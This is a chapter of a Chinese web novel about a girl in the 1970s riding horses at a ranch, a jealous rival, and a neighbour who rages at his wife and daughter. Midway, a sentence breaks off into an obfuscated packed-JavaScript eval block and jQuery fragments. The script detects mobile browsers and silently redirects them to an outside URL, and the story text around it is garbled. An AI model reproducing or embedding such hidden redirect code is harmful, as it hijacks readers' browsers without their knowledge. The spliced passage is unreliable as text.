14. 第 14 章
作品:《七零之改革春风吹又吹》 天空是那样蓝,草儿是那样绿,蓝与绿之间交织着对生命的热爱和追求。
古今骑在马背上,纵情享受着速度带来的刺激,她一路向前,学习的压力和对未来的迷茫统统被甩在了身后。
这一刻,她是自由的。
王春雪正在弯腰清扫牛棚马圈,听到一连串熟悉又肆无忌惮的笑声,她立马直起腰,看着从自己眼前飞驰远去的身影,先是不可思议,接着气得眼眶发红。
自从那天灰溜溜地离开古今家后,王春雪的日子没有一天顺心过。
她在牧场从冬天熬到春天,眼泪流干了,脸变皴裂了,手也粗糙了,身上散发着一股洗不掉的牛粪羊粪味,整个人都快崩溃了。
牧场没有条件让知青们天天洗澡,衣服都是隔好久洗一次,很多个深夜她问自己,当初为什么不能忍一忍,厚着脸皮赖在姑姑家。
脱离了梦里的剧情,她不知道接下来的路要怎么走。
她爸妈已经知道她私自将下乡地点改成了西北,写信将她骂了一顿,骂得非常难听。
王春雪没有回信,按照梦里的指示,这样的父母她最好不联系。
在牧场的日子虽然苦,但她还可以挑个好的嫁人,对方最好有个工作。
这些天,她一直这么安慰自己。
可此时,她不得不承认,她心里嫉妒的发狂。
看不见古今还好,看到她,她就想起自己悲惨的命运,仿佛她一切不幸的源头都是古今造成的。
理智告诉她与古今无关,但她就是接受不了,在她的心底深处有个声音不断告诉她,本该享受这一切的人是自己啊!
王春雪根本抵御不了这声音的诱惑。
她气得踢翻了身边装满粪便的筐,和她同组打扫的另外一个女知青,差点被粪便砸到,“你发什么疯,不想干和队长说,我也不想和你一起干活,有病。”
女知青扶起被踢翻的筐,顺带白了她一眼。
王春雪敢怒不敢言,她经常不分时间地点的哭,刚开始大家还会安慰她,但时间久了大家都烦她,不愿意和她搭档干活,嫌她除了哭只会拖后腿。
王春雪认为这些人没有良心,她都这么命苦了,哭两下怎么了。
听到同组的女知青骂她,王春雪又忍不住掉眼泪,她一边继续铲牛粪,一边哭,周围路过的人看了都摇摇头,没一个上前劝的。
古今一行人骑了一会,有的人受不了颠簸,立马喊停。
周晓薇一下马就吐了,赵志辉赶忙上前问她有没有事。
吐完好受一点的周晓薇,根本不搭理赵志辉。
她看着还骑在马背上的古今和李曼曼,不爽道:“你们就是故意的。”
古今无语了,关她什么事。
李曼曼再好的脾气也受不了了,为了照顾她,她已经骑得很慢了,自己身体受不了,怪谁呢。
她和古今不约而同无视她,两人跟郭峰打了个招呼,继续骑马,这次没有了累赘,她们骑得更加畅快肆意。
□□不懂她们之间的弯弯绕绕,他喜欢骑马,自然追着古今她们跑了。
周晓薇气得跳脚,剩下的同学有点尴尬,郭峰只好站出来打圆场,带他们休息一会,先去马棚里看刚出生的小马驹。
王春雪目睹古今和同学闹矛盾,心想古今果然讨嫌,不止她一个人这么觉得。
不过她看着郭峰这么照顾那个女同学,心里又不爽了,这人谁啊,郭峰对她这么客气。
要知道郭峰的爸爸是牧场场长,负责牧场的一切生产工作,所有知青都归他爸爸管,郭峰在牧场是个小霸王,从来都是别人跟在他屁股后面转。
王春雪早已将这个郭峰列为自己的头号目标,她回城的希望渺茫,郭峰也就比她小两岁,正合适。
等郭峰高中毕业,他爸爸肯定能走关系给他安排个工作,这里虽然比不上沪市,但郭峰已经是她能接触到的最好的人选了。
这牧场的活,她真是一天都做不下去了。
她几次接近郭峰,他就像听不懂人话似的,后来更是躲着她,好像她是什么洪水猛兽。
古今和李曼曼骑到一处山坡停下,她们拿出李曼曼做的风筝,开始放风筝,□□不好打扰她们女生,便继续骑马。
她们坐在山坡上,吹着温柔的小风,看着风筝高高地飘在天上。
古今对着闭眼享受的李曼曼道:“我刚才好像看到王春雪了。”
其实她也没看太清,马跑的太快了,古今觉得那女孩身上穿的衣服像是她的。
“她在这当知青!”李曼曼吃了一惊,四处张望。
古今也觉得冤家路窄,“不提她了。”
遇到了再说。
古今拨弄着风筝的线圈,问李曼曼学习进度如何了。
李曼曼“欸”的一声,头疼不已,“你快饶了我吧,这么好的日子,别提什么数学物理,我要被折磨疯了。”
她可怜巴巴地望着古今,“我能不能不学了?”
古今冷酷道:“不行。”
李曼曼立马心死地躺在草地上,古今躺在她身边,安慰她也安慰自己道:“慢慢学,总能学会的。”
以前都是李曼曼天天喊古今去上学,她不想起床,李曼曼就和王丽娟一起催她起来,现在一下子她和古今的位置换了,古今成了那个天天催她学习的人了。
真好,真好啊。
古今她们在牧场待了一天,都没有再看到王春雪。
中午郭峰喊她们去他家吃饭,郭峰的妈妈非常热情,周晓薇他们带来的那只老母鸡别他妈炖了放在桌上,让他们自己夹着吃。
周晓薇几人吃的那叫一个香,古今和李曼曼每往锅里夹一次,周晓薇就看她们一次,搞得李曼曼都不好意思夹了。
古今却偏要当着周晓薇的面,夹了一次又一次,还给李曼曼夹。
周晓薇想发作,都被几个男生插科打诨了过去。
郭峰妈妈没和他们一起吃饭,她准备好了饭菜,就去给郭峰爸爸送饭。
下午,几人决定分开买票,古今和李曼曼终于不用再跟周晓薇坐一起了。
隔天天气很好,王丽娟喊古今帮她一起晒被子。
王丽娟在院子里用竹竿搭了个架子,让古今帮她扶着架子。
好几个月没拿出来晒的老棉被,潮乎乎的,不轻,王丽娟费了老大的劲才放上去。
古青松这周本来应该休息的,可是他没回来,让人带话回来说是又要加班。
他总是很忙,家里基本指望不上,但拿回来的工资不少,王丽娟想到这一点就不生气了。
他的工资都被她存了起来,以后不管是给古今买工作,还是陪嫁都好。
王丽娟拿着棍子拍打着棉被,把它的里面结块的棉花拍打开。
古今坐在院子里晒太阳,她不怕变黑。
古今的长相随了古青松,又剪了一头短发,乍一看有点男相,仔细一瞅,不难看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470236|201438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可能生活在西北的缘故,皮肤比较粗糙,还有点黄,但她的眼睛很好看,亮晶晶的,透着一股子倔强。
中午十点多,隔壁家烟囱冒着袅袅炊烟,他们又在吃早午饭了。
这时候,大家都习惯一天吃两顿,只有古今家一天三顿饭。
这可能跟王丽娟是沪市来的,和这边习惯不一样有关。
她不管日子过得再差,三顿饭总是要有的。
很快,隔壁又闹了起来。
古今一点都不意外,王丽娟皱着眉继续拍打被子。
李拥军在饭桌上发火,孩子们吓得大气不敢出。
赵英华的肚子有四个月了,已经显怀,衬得她更瘦了,精神似乎也不太好。
她一脸疲惫地看着李拥军,“又怎么了?”
李拥军盯着李曼曼,阴阳怪气道:“有的人当自己是大小姐呢,拿父母的血汗钱不当回事,天天跟在隔壁后面瞎疯,倒是活得自在,根本不管家里的兄弟姐妹要饿死了。”
“你混说什么,什么大小姐不大小姐的。”赵英华吓得往门口看了看,生怕这话被外人听见。
这年头谁要是跟“大小姐”这三个字扯上关系,是要被扣帽子去劳改的。
李曼曼受不住父亲的指责,却又不敢哭出声,捧着碗默默低头啜泣。
她知道她爸是不满她昨天和古今去牧场骑马,她心里委屈,想说她花的钱都是她辛苦攒的,但知道说出口也讨不到好,索性就保持沉默。
李拥军并不觉得自己说错什么,反而因为赵英华的维护,怒火更旺,他摔了筷和碗,将母女全骂了进去,“哭什么哭,没出息的东西,福气都叫你们娘俩哭没了。”
“老子供你们吃,供你们穿,你们天天拿着老子的钱,活得潇洒,上学有屁用,又不能当饭吃,一天天的,就知道问老子要学费,老子真是欠你们的,供完一个还有下一个,什么时候是个头,要我说全都给老子下乡去,自己去挣工分。”
赵英华道:“你吃枪药了,当着孩子们的面你发什么疯。”
“你一个娘们懂什么,头发长见识短,养闺女有什么用,你要是再给老子生个赔钱货,老子打死你。”李拥军亮了亮拳头。
古今在隔壁都气笑了,她站上板凳,对着隔壁院喊道:“谁啊,嗓门那么大扰民了啊,一天天的屁本事没有,就知道拿老婆孩子出气,有本事出去挣钱啊,还怪闺女上学花钱,笑话,有种你别生啊,养不起就承认自己养不起,不丢人。”
王丽娟一把把古今拉下来,“姑奶奶啊——这话不能说啊。”
王丽娟吓得拍了古今的胳膊两下,她魂都要被闺女吓没了,真是什么话都敢往外说。
街里街坊的,这么多邻居听着呢,她一个女孩子张口闭口生孩子养孩子,名声还要不要了。
王丽娟愁死了,她闺女怎么这么缺心眼呢。
李拥军气得眼睛都瞪大了,满脸通红,却又不敢发作,他终于体会到那种憋屈的滋味。
他指着隔壁,手抖得厉害,声音却不自觉放小了,“你们听到了吧,隔壁那个死丫头、赔钱货,竟敢这么说我,王丽娟和古青松两口子到底会不会养孩子?”
赵英华小声道,“那你去隔壁问他们呀。”
李曼曼本来很伤心,被古今这么一通搅合,她突然不难过了,还有些想笑,她继续低着头,怕被她爸发现。
李拥军饭都没吃完,气呼呼地走了,不知道他去哪里,也没人敢问。

